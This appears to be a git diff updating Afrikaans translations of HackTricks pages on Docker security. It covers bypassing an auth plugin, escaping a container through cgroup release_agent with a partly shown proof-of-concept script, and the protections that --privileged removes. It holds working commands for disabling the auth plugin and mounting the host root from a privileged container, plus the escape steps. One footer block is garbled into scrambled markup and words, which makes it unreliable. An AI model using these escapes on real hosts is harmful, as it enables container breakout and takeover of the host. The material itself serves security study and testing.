|
||||
As die **sysadmin** die vermoë om die **plugin** te **deaktiveer** vergeet het, kan jy hiervan gebruik maak om dit heeltemal te deaktiveer!
|
||||
As die **sisteemadministrateur** **vergeet** het om die vermoë om die **plugin** te **deaktiveer**, kan jy hiervan voordeel trek om dit heeltemal te deaktiveer!
|
||||
```bash
|
||||
docker plugin list #Enumerate plugins
|
||||
|
||||
|
@ -183,27 +188,32 @@ docker plugin disable authobot
|
|||
docker run --rm -it --privileged -v /:/host ubuntu bash
|
||||
docker plugin enable authobot
|
||||
```
|
||||
Onthou om die invoegtoepassing **weer te aktiveer nadat jy toegang verkry het**, anders sal 'n **herlaai van die docker-diens nie werk nie**!
|
||||
Remember to **heraktiveer die plugin na die eskalering**, of 'n **herbegin van die docker diens sal nie werk nie**!
|
||||
|
||||
## Auth Plugin Bypass writeups
|
||||
## Auth Plugin Bypass skrywes
|
||||
|
||||
* [https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/](https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/)
|
||||
|
||||
## Verwysings
|
||||
{% hnt stye="acceas" %}
|
||||
AWS Ha& praktyk ckinH:<img :<imgsscc="/.gitb=ok/assgts/aite.png"balo=""kdata-siza="line">[**HackTsscke Tpaigin"aAWS Red Tetm=Exp rt (ARTE)**](a-size="line">[**HackTricks Training AWS Red)ethgasic="..giyb/okseasert/k/.png"l=""data-ize="line">\
|
||||
Leer & aciceGCP ng<imgsrc="/.gibok/asts/gte.g"lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"salm=""adara-siz>="k>ne">tinhaktckxyzurssgr)
|
||||
|
||||
* [https://docs.docker.com/engine/extend/plugins\_authorization/](https://docs.docker.com/engine/extend/plugins\_authorization/)
|
||||
<dtil>
|
||||
|
||||
<ummr>SupportHackTricks</smmay>
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
*Chek th [**subsrippangithub.cm/sorsarlosp!
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!haktick\_ive\
|
||||
* **Join 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,39 +1,40 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
Vir verdere besonderhede **kyk na die blogpos van [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. Hier is net 'n opsomming:
|
||||
Vir verdere besonderhede **kyk die blog pos van [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. Dit is net 'n opsomming:
|
||||
|
||||
Die tegniek beskryf 'n metode vir **die uitvoering van gasheerkode van binne 'n houer**, wat uitdagings oorkom wat deur stoorbestuurder-konfigurasies veroorsaak word wat die houer se lêernaampad op die gasheer verduister, soos Kata Containers of spesifieke `devicemapper`-instellings.
|
||||
Die tegniek skets 'n metode vir **die uitvoer van gasheer kode vanuit 'n houer**, wat uitdagings oorkom wat deur berging bestuurder konfigurasies ontstaan wat die houer se lêerstelsel pad op die gasheer obscuur, soos Kata Containers of spesifieke `devicemapper` instellings.
|
||||
|
||||
Kernstappe:
|
||||
Belangrike stappe:
|
||||
|
||||
1. **Vind proses-ID's (PIDs):** Deur die `/proc/<pid>/root` simboliese skakel in die Linux-pseudobestandstelsel te gebruik, kan enige lêer binne die houer relatief tot die gasheer se lêernaampad benader word. Dit vermy die behoefte om die houer se lêernaampad op die gasheer te ken.
|
||||
2. **PID Bashing:** 'n Brute force-benadering word gebruik om deur PIDs op die gasheer te soek. Dit word gedoen deur sekwestraties te kontroleer vir die teenwoordigheid van 'n spesifieke lêer by `/proc/<pid>/root/<file>`. Wanneer die lêer gevind word, dui dit daarop dat die ooreenstemmende PID behoort aan 'n proses wat binne die teikenhouer loop.
|
||||
3. **Uitvoering teweegbring:** Die geradeerde PID-pad word geskryf na die `cgroups release_agent`-lêer. Hierdie aksie teweegbring die uitvoering van die `release_agent`. Die sukses van hierdie stap word bevestig deur te kontroleer of 'n uitvoerlêer geskep is.
|
||||
1. **Proses ID's (PIDs) Vind:** Deur die `/proc/<pid>/root` simboliese skakel in die Linux pseudo-lêerstelsel, kan enige lêer binne die houer toeganklik gemaak word relatief tot die gasheer se lêerstelsel. Dit omseil die behoefte om die houer se lêerstelsel pad op die gasheer te ken.
|
||||
2. **PID Bashing:** 'n Brute force benadering word gebruik om deur PIDs op die gasheer te soek. Dit word gedoen deur die teenwoordigheid van 'n spesifieke lêer by `/proc/<pid>/root/<file>` sekwensieel na te gaan. Wanneer die lêer gevind word, dui dit aan dat die ooreenstemmende PID aan 'n proses behoort wat binne die teikenhouer loop.
|
||||
3. **Trigger Uitvoering:** Die geraamde PID pad word na die `cgroups release_agent` lêer geskryf. Hierdie aksie aktiveer die uitvoering van die `release_agent`. Die sukses van hierdie stap word bevestig deur na die skepping van 'n uitvoer lêer te kyk.
|
||||
|
||||
### Uitbuitingsproses
|
||||
### Exploitasie Proses
|
||||
|
||||
Die uitbuitingsproses behels 'n meer gedetailleerde stel aksies, met die doel om 'n nutslading op die gasheer uit te voer deur die korrekte PID van 'n proses wat binne die houer loop, te raai. So verloop dit:
|
||||
Die exploitasie proses behels 'n meer gedetailleerde stel aksies, wat daarop gemik is om 'n payload op die gasheer uit te voer deur die korrekte PID van 'n proses wat binne die houer loop te raai. Hier is hoe dit ontvou:
|
||||
|
||||
1. **Inisialiseer omgewing:** 'n Nutsladingskripsie (`payload.sh`) word op die gasheer voorberei, en 'n unieke gids word geskep vir cgroup-manipulasie.
|
||||
2. **Berei nutslading voor:** Die nutsladingskripsie, wat die opdragte bevat wat op die gasheer uitgevoer moet word, word geskryf en uitvoerbaar gemaak.
|
||||
3. **Stel Cgroup op:** Die cgroup word gemoniteer en gekonfigureer. Die `notify_on_release`-vlag word ingestel om te verseker dat die nutslading uitgevoer word wanneer die cgroup vrygestel word.
|
||||
4. **Brute Force PID:** 'n Lus itereer deur potensiële PIDs en skryf elke geradeerde PID na die `release_agent`-lêer. Dit stel effektief die nutsladingskripsie as die `release_agent`.
|
||||
5. **Teweegbring en Kontroleer Uitvoering:** Vir elke PID word die `cgroup.procs` van die cgroup geskryf, wat die uitvoering van die `release_agent` teweegbring as die PID korrek is. Die lus gaan voort totdat die uitvoer van die nutsladingskripsie gevind word, wat suksesvolle uitvoering aandui.
|
||||
1. **Begin Omgewing:** 'n Payload skrip (`payload.sh`) word op die gasheer voorberei, en 'n unieke gids word geskep vir cgroup manipulasie.
|
||||
2. **Bereid Payload Voor:** Die payload skrip, wat die opdragte bevat wat op die gasheer uitgevoer moet word, word geskryf en uitvoerbaar gemaak.
|
||||
3. **Stel Cgroup Op:** Die cgroup word gemonteer en geconfigureer. Die `notify_on_release` vlag word gestel om te verseker dat die payload uitgevoer word wanneer die cgroup vrygestel word.
|
||||
4. **Brute Force PID:** 'n Lus herhaal deur potensiële PIDs, en skryf elke geraamde PID na die `release_agent` lêer. Dit stel effektief die payload skrip as die `release_agent`.
|
||||
5. **Trigger en Kontroleer Uitvoering:** Vir elke PID, word die cgroup se `cgroup.procs` geskryf, wat die uitvoering van die `release_agent` aktiveer as die PID korrek is. Die lus gaan voort totdat die uitvoer van die payload skrip gevind word, wat suksesvolle uitvoering aandui.
|
||||
|
||||
|
||||
PoC van die blogpos:
|
||||
PoC van die blog pos:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
|
@ -93,16 +94,19 @@ sleep 1
|
|||
echo "Done! Output:"
|
||||
cat ${OUTPUT_PATH}
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,27 @@
|
|||
# Docker --bevoorreg
|
||||
# Docker --privileged
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Wat Affekteer Dit
|
||||
## Wat beïnvloed
|
||||
|
||||
Wanneer jy 'n houer as bevoorreg uitvoer, word hierdie beskermings gedeaktiveer:
|
||||
Wanneer jy 'n houer as bevoorregte uitvoer, is dit die beskermings wat jy deaktiveer:
|
||||
|
||||
### Monteer /dev
|
||||
|
||||
In 'n bevoorregte houer kan **alle toestelle in `/dev/`** benader word. Jy kan dus **ontsnap** deur die skandering van die bediener se skyf te **monteer**.
|
||||
In 'n bevoorregte houer kan alle **toestelle in `/dev/`** toeganklik wees. Daarom kan jy **ontsnap** deur die **disk** van die gasheer te **monteer**.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Binne standaard houer" %}
|
||||
|
@ -30,7 +33,7 @@ core full null pts shm stdin tty zero
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Binne die Bevoorregte Houer" %}
|
||||
{% tab title="Binne Bevoorregte Houer" %}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
ls /dev
|
||||
|
@ -43,12 +46,12 @@ cpu nbd0 pts stdout tty27
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Lees-slegs kernel-lêerstelsels
|
||||
### Lees-slegs kern lêerstelsels
|
||||
|
||||
Kernel-lêerstelsels bied 'n meganisme vir 'n proses om die gedrag van die kernel te wysig. Tog wil ons voorkom dat houerprosesse enige veranderinge aan die kernel maak. Daarom monteer ons kernel-lêerstelsels as **lees-slegs** binne die houer, om te verseker dat die houerprosesse die kernel nie kan wysig nie.
|
||||
Kern lêerstelsels bied 'n mekanisme vir 'n proses om die gedrag van die kern te verander. egter, wanneer dit by houerprosesse kom, wil ons voorkom dat hulle enige veranderinge aan die kern aanbring. Daarom monteer ons kern lêerstelsels as **lees-slegs** binne die houer, wat verseker dat die houerprosesse nie die kern kan verander nie.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Binne die verstekhouer" %}
|
||||
{% tab title="Binne standaard houer" %}
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
mount | grep '(ro'
|
||||
|
@ -59,7 +62,7 @@ cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,c
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Binne die Bevoorregte Houer" %}
|
||||
{% tab title="Binne Bevoorregte Houer" %}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
mount | grep '(ro'
|
||||
|
@ -67,16 +70,16 @@ mount | grep '(ro'
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Maskering oor kernel-lêersisteme
|
||||
### Maskering oor kern lêerstelsels
|
||||
|
||||
Die **/proc**-lêersisteem is selektief skryfbaar, maar vir sekuriteit is sekere dele beskerm teen skryf- en leestoegang deur dit met **tmpfs** te oorlê, wat verseker dat houerprosesse nie toegang tot sensitiewe areas kan verkry nie.
|
||||
Die **/proc** lêerstelsel is selektief skryfbaar, maar vir sekuriteit is sekere dele beskerm teen skryf- en lees toegang deur dit met **tmpfs** te oorlaai, wat verseker dat houerprosesse nie toegang tot sensitiewe areas het nie.
|
||||
|
||||
{% hint style="info" %}
|
||||
**tmpfs** is 'n lêersisteem wat al die lêers in virtuele geheue stoor. tmpfs skep geen lêers op jou harde skyf nie. As jy 'n tmpfs-lêersisteem ontlaai, gaan al die lêers wat daarin woon, vir ewig verlore.
|
||||
**tmpfs** is 'n lêerstelsel wat al die lêers in virtuele geheue stoor. tmpfs skep nie enige lêers op jou hardeskyf nie. So as jy 'n tmpfs-lêerstelsel ontkoppel, gaan al die lêers wat daarin is vir altyd verlore.
|
||||
{% endhint %}
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Binne die verstekhouer" %}
|
||||
{% tab title="Binne standaard houer" %}
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
mount | grep /proc.*tmpfs
|
||||
|
@ -86,7 +89,7 @@ tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Binne die Bevoorregte Houer" %}
|
||||
{% tab title="Binne Bevoorregte Houer" %}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
mount | grep /proc.*tmpfs
|
||||
|
@ -94,16 +97,16 @@ mount | grep /proc.*tmpfs
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Linux-vermoëns
|
||||
### Linux vermoëns
|
||||
|
||||
Houer-enjins begin die houers met 'n **beperkte aantal vermoëns** om te beheer wat binne die houer gebeur. **Bevoorregte** eenhede het **alle** die **vermoëns** toeganklik. Om meer te leer oor vermoëns, lees:
|
||||
Container enjinse begin die houers met 'n **beperkte aantal vermoëns** om te beheer wat binne die houer gebeur per standaard. **Bevoorregte** houers het **alle** die **vermoëns** beskikbaar. Om meer oor vermoëns te leer, lees:
|
||||
|
||||
{% content-ref url="../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../linux-capabilities.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Binne die verstekhouer" %}
|
||||
{% tab title="Binne standaard houer" %}
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
apk add -U libcap; capsh --print
|
||||
|
@ -114,7 +117,7 @@ Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setg
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Binne die Bevoorregte Houer" %}
|
||||
{% tab title="Binne Bevoorregte Houer" %}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
apk add -U libcap; capsh --print
|
||||
|
@ -126,18 +129,18 @@ Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fset
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
Jy kan die vermoëns wat beskikbaar is vir 'n houer manipuleer sonder om in `--privileged`-modus te loop deur die `--cap-add` en `--cap-drop` vlae te gebruik.
|
||||
Jy kan die vermoëns wat beskikbaar is vir 'n houer manipuleer sonder om in `--privileged` modus te loop deur die `--cap-add` en `--cap-drop` vlae te gebruik.
|
||||
|
||||
### Seccomp
|
||||
|
||||
**Seccomp** is nuttig om die **syscalls** wat 'n houer kan aanroep, te **beperk**. 'n Standaard seccomp-profiel is standaard geaktiveer wanneer docker-houers uitgevoer word, maar in bevoorregte modus is dit gedeaktiveer. Lees meer oor Seccomp hier:
|
||||
**Seccomp** is nuttig om die **syscalls** wat 'n houer kan aanroep te **beperk**. 'n Standaard seccomp-profiel is standaard geaktiveer wanneer docker-houers loop, maar in privilige-modus is dit gedeaktiveer. Leer meer oor Seccomp hier:
|
||||
|
||||
{% content-ref url="seccomp.md" %}
|
||||
[seccomp.md](seccomp.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Binne die standaard houer" %}
|
||||
{% tab title="Binne standaard houer" %}
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
grep Seccomp /proc/1/status
|
||||
|
@ -146,7 +149,7 @@ Seccomp_filters: 1
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Binne die Bevoorregte Houer" %}
|
||||
{% tab title="Binne Bevoorregte Houer" %}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
grep Seccomp /proc/1/status
|
||||
|
@ -159,11 +162,11 @@ Seccomp_filters: 0
|
|||
# You can manually disable seccomp in docker with
|
||||
--security-opt seccomp=unconfined
|
||||
```
|
||||
Verder moet daarop gelet word dat wanneer Docker (of ander CRIs) in 'n **Kubernetes**-groep gebruik word, die **seccomp-filter standaard gedeaktiveer** is.
|
||||
Ook, let daarop dat wanneer Docker (of ander CRI's) in 'n **Kubernetes** kluster gebruik word, die **seccomp-filter is standaard gedeaktiveer**.
|
||||
|
||||
### AppArmor
|
||||
|
||||
**AppArmor** is 'n kernel-verbetering om **houers** tot 'n **beperkte** stel **hulpbronne** met **per-program profiele** te beperk. Wanneer jy met die `--privileged` vlag hardloop, word hierdie beskerming gedeaktiveer.
|
||||
**AppArmor** is 'n kernverbetering om **houers** te beperk tot 'n **beperkte** stel **hulpbronne** met **per-program profiele**. Wanneer jy met die `--privileged` vlag loop, is hierdie beskerming gedeaktiveer.
|
||||
|
||||
{% content-ref url="apparmor.md" %}
|
||||
[apparmor.md](apparmor.md)
|
||||
|
@ -174,7 +177,7 @@ Verder moet daarop gelet word dat wanneer Docker (of ander CRIs) in 'n **Kuberne
|
|||
```
|
||||
### SELinux
|
||||
|
||||
Die uitvoer van 'n houer met die `--privileged` vlag deaktiveer **SELinux-etikette**, wat veroorsaak dat dit die etiket van die houermotor erf, tipies `unconfined`, wat volle toegang gee soortgelyk aan die houermotor. In rootless-modus gebruik dit `container_runtime_t`, terwyl in root-modus `spc_t` toegepas word.
|
||||
Die uitvoering van 'n houer met die `--privileged` vlag deaktiveer **SELinux etikette**, wat veroorsaak dat dit die etiket van die houer enjin oorneem, tipies `unconfined`, wat volle toegang toeken aan die houer enjin. In rootless-modus gebruik dit `container_runtime_t`, terwyl in root-modus `spc_t` toegepas word.
|
||||
|
||||
{% content-ref url="../selinux.md" %}
|
||||
[selinux.md](../selinux.md)
|
||||
|
@ -183,14 +186,14 @@ Die uitvoer van 'n houer met die `--privileged` vlag deaktiveer **SELinux-etiket
|
|||
# You can manually disable selinux in docker with
|
||||
--security-opt label:disable
|
||||
```
|
||||
## Wat nie beïnvloed word nie
|
||||
## Wat Nie Beïnvloed Word Nie
|
||||
|
||||
### Namespaces
|
||||
|
||||
Namespaces word **NIET beïnvloed** deur die `--privileged` vlag. Alhoewel hulle nie die sekuriteitsbeperkings geaktiveer het nie, **sien hulle nie al die prosesse op die stelsel of die gasheer-netwerk nie, byvoorbeeld**. Gebruikers kan individuele namespaces deaktiveer deur die **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** kontainer-enjin vlae te gebruik.
|
||||
Namespaces word **NIE beïnvloed** deur die `--privileged` vlag. Alhoewel hulle nie die sekuriteitsbeperkings geaktiveer het nie, **sien hulle nie al die prosesse op die stelsel of die gasheer netwerk nie, byvoorbeeld**. Gebruikers kan individuele namespaces deaktiveer deur die **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** houer enjin vlae te gebruik.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Binne die standaard bevoorregte houer" %}
|
||||
{% tab title="Binne standaard bevoorregte houer" %}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
ps -ef
|
||||
|
@ -213,22 +216,25 @@ PID USER TIME COMMAND
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Gebruikersnaamruimte
|
||||
### Gebruiker naamruimte
|
||||
|
||||
**Standaard maak container-engines geen gebruik van gebruikersnaamruimtes, behalve voor rootless containers**, die ze nodig hebben voor het koppelen van bestandssystemen en het gebruik van meerdere UID's. Gebruikersnaamruimtes, die essentieel zijn voor rootless containers, kunnen niet worden uitgeschakeld en verbeteren de beveiliging aanzienlijk door privileges te beperken.
|
||||
**Standaard gebruik container enjin nie gebruiker naamruimtes nie, behalwe vir rootless houers**, wat dit benodig vir lêerstelsel montering en die gebruik van verskeie UID's. Gebruiker naamruimtes, wat noodsaaklik is vir rootless houers, kan nie gedeaktiveer word nie en verbeter sekuriteit aansienlik deur voorregte te beperk.
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
